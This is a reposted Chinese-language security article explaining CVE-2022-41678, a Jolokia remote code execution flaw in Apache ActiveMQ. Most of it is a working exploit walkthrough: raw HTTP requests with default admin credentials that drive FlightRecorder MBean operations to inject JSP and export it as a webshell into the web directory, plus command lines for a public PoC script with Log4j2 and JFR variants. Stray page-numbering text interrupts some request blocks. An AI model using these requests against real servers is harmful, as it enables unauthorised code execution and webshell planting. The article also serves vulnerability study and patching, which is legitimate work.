文章总结: 文档解析ApacheActiveMQJolokia后台RCE漏洞CVE-2022-41678。该漏洞通过JolokiaAPI利用FlightRecorder或Log4j2MBean实现任意文件写入。利用方式包括修改录制配置注入JSP并导出至Web目录,或操作Log4j2配置写入Webshell,最终导致远程代码执行。建议及时升级版本并限制后台访问。 综合评分: 91 文章分类: 漏洞分析,漏洞POC,WEB安全
Apache ActiveMQ Jolokia 后台 RCE (CVE-2022-41678) 漏洞说明
原创
晨星安全团队 晨星安全团队
晨星安全团队
2026年1月19日 10:18 江苏
Apache ActiveMQ Jolokia后台RCE(CVE-2022-41678)
Apache ActiveMQ 在 5.16.5, 5.17.3 版本及以前,后台 Jolokia 存在一处任意文件写入导致的远程代码执行漏洞
首先,访问 /api/jolokia/list 这个 API 可以查看当前服务器里所有的 MBeans
这其中有两个可以被用来执行任意代码
GET /api/jolokia/list HTTP/1.1
Host: localhost:8161
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://localhost
主要问题出在 FlightRecorder 这个 Mbean,功能是记录内存,gc,调用栈等,漏洞用到的方法主要是以下几个
-
newRecording
新建记录
-
setConfiguration
更改配置
-
startRecording
开始录制
-
stopRecording
结束录制
-
copyTo
导出录制文件
漏洞思路是通过 setConfiguration 修改配置,把一些键名改成 JSP 代码,记录的数据就会包含该 JSP 代码,录制完成后,通过 copyTo 导出到 Web 目录即可
调用setPredefinedConfiguration,断点停下来后可以拿到默认的配置,先保存下来
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 155
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setPredefinedConfiguration",
"arguments": [1,"s"]
}
新建记录
记录的 id 为 1,后面 POC 都要使用这个 id
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
1-3.md 2025-09-05
3 / 7
Content-Type: application/json
Content-Length: 136
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "newRecording",
"arguments": []
}
更改配置
将默认配置的如下处改为 JSP 代码,特殊字符需要实体编码
如下 arguments 的第一位参数是记录 id,第二个参数是配置内容(很长,已省略)
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 31263
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setConfiguration",
"arguments": [1,"..."]
}
开始录制
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 141
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "startRecording",
"arguments": [1]
}
结束录制
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
1-3.md 2025-09-05
5 / 7
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 138
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "stopRecording",
"arguments": [1]
}
导出到 web 目录
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 159
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "copyTo",
"arguments": [1,"../webapps/admin/test.jsp"]
}
访问 WebShell
第一个方法是使用 org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由 Log4j2 提 供的一个MBean
这个方法受到 ActiveMQ 版本的限制,因为 Log4j2 是在 5.17.0 中才引入 Apache ActiveMQ
攻击者使用这个 MBean 中的 setConfigText 操作可以更改 Log4j 的配置,进而将日志文件写入任意目录中
下载脚本
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2022-41678/poc.py
python3 CVE-2022-41678.py -u admin -p admin http://127.0.0.1:8161
Webshell 被写入在 /admin/shell.jsp 文件中
第二个可利用的 Mbean 是 jdk.management.jfr.FlightRecorderMXBean。
FlightRecorder 是在 OpenJDK 11 中引入的特性,被用于记录 Java 虚拟机的运行事件。利用这个功能,攻击 者可以将事件日志写入任意文件
python3 CVE-2022-41678.py -u admin -p admin --exploit jfr http://127.0.0.1:8161
作者:晨星安全团队——雾島风起時
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:晨星安全团队 晨星安全团队 晨星安全团队《Apache ActiveMQ Jolokia 后台 RCE (CVE-2022-41678) 漏洞说明》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论